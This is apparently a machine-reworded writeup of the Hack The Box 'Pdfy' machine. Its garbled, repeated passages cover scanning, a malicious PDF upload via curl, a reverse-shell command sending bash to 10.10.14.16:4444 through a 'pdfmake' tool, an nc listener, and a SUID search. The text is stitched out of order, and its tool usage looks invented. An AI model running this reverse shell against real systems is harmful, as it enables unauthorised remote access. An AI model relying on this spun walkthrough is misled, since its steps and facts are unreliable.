Pdfy Htb Writeup -

directory, that looks like an good spot toward start. We can employ utilities such as Burp Suite for transmit a malicious PDF record at a host plus see whether the system remains vulnerable toward a data submission attack. curl -X POST -F "document=@malicious.pdf" http://10.10.11.231/uploads/ After sending a malicious PDF file, we detect how a host remains processing arbitrary instructions. Us could exploit the weakness to obtain one foothold upon a box. Initial Position Our team use the pdfmake utility to generate an harmful PDF document what triggers an reverse connection terminal. pdfmake -f malicious.pdf -c “bash -i >& /dev/tcp/10.10.14.16/4444 0>&1" Once we send the dangerous PDF record toward a system, we receive one backward shell. nc -lvp 4444 Permission Escalation After acquiring a presence upon that machine, we require for elevate the rights to acquire root entry. Us begin via exploring that document structure as well as looking to find particular flawed records or perhaps directories. find / -perm /u=s -type f 2>/dev/null A search command uncovers one set user id binary called /usr/local/bin/pdfy. We might utilize this program to raise our rights. Attacking a Pdfy Executable Following studying the pdfy

catalog, what seems like a excellent area for start. They might employ tools such as Burp Suite to deliver one dangerous PDF data towards the host as well as see in case that exists susceptible for the file submission attack. issue this directive specifying that method send including a argument referring at a dangerous file directed towards that uploads endpoint. Upon transferring the dangerous PDF document, they detect how a server was executing arbitrary instructions. We can use that vulnerability for obtain one foothold inside a machine. Primary Access They employ a pdfmake program to make one malicious PDF data which runs one reverse console. launch pdfmake using a dangerous document and a code in order to execute one terminal instance piping data towards that receiver. When they send the dangerous PDF file to that server, you receive a reverse shell. execute the directive for listen at incoming sessions on port 4444. Permission Increase After gaining the presence on a box, we want to increase the rights for obtain admin entry. You start by examining the storage hierarchy plus searching for potential improperly configured items as well as locations. run a search instruction at a main directory for identify items featuring setuid permissions and also suppress any error notifications. The find command discovers the setuid program named /usr/local/bin/pdfy. You can leverage that executable to increase our permissions. Hacking the Pdfy Program Following examining that pdfy Pdfy Htb Writeup

Pdfy HTB Writeup: A Thorough Walkthrough Throughout this piece, we will offer a elaborate guide of the Pdfy HTB (Hack The Box) puzzle. Pdfy represents a standard level server that necessitates a blend of internet software abuse, document transfer weaknesses, and Linux privilege expansion tactics. Our aim is to direct you through the course of breaching the Pdfy box and acquiring superuser control. Initial Survey To start, we must append the Pdfy target to our Hack The Box subscription and retrieve its network address. Once we have the network address, we can start our exploration phase using tools such as Nmap and DirBuster. nmap -sV -sC -oA pdfy_nmap 10.10.11.231 The Nmap sweep unveils that the host possesses ports 80 and 443 unblocked, which implies that it is running a web service. We additionally spot that the server is running a unique PDF production tool titled pdfmake. Internet Software Attack Subsequently, we use DirBuster to scan for any hidden paths or documents on the internet host. dirbuster -u http://10.10.11.231/ -o dirbuster_output The DirBuster search reveals a /uploads directory, that looks like an good spot toward start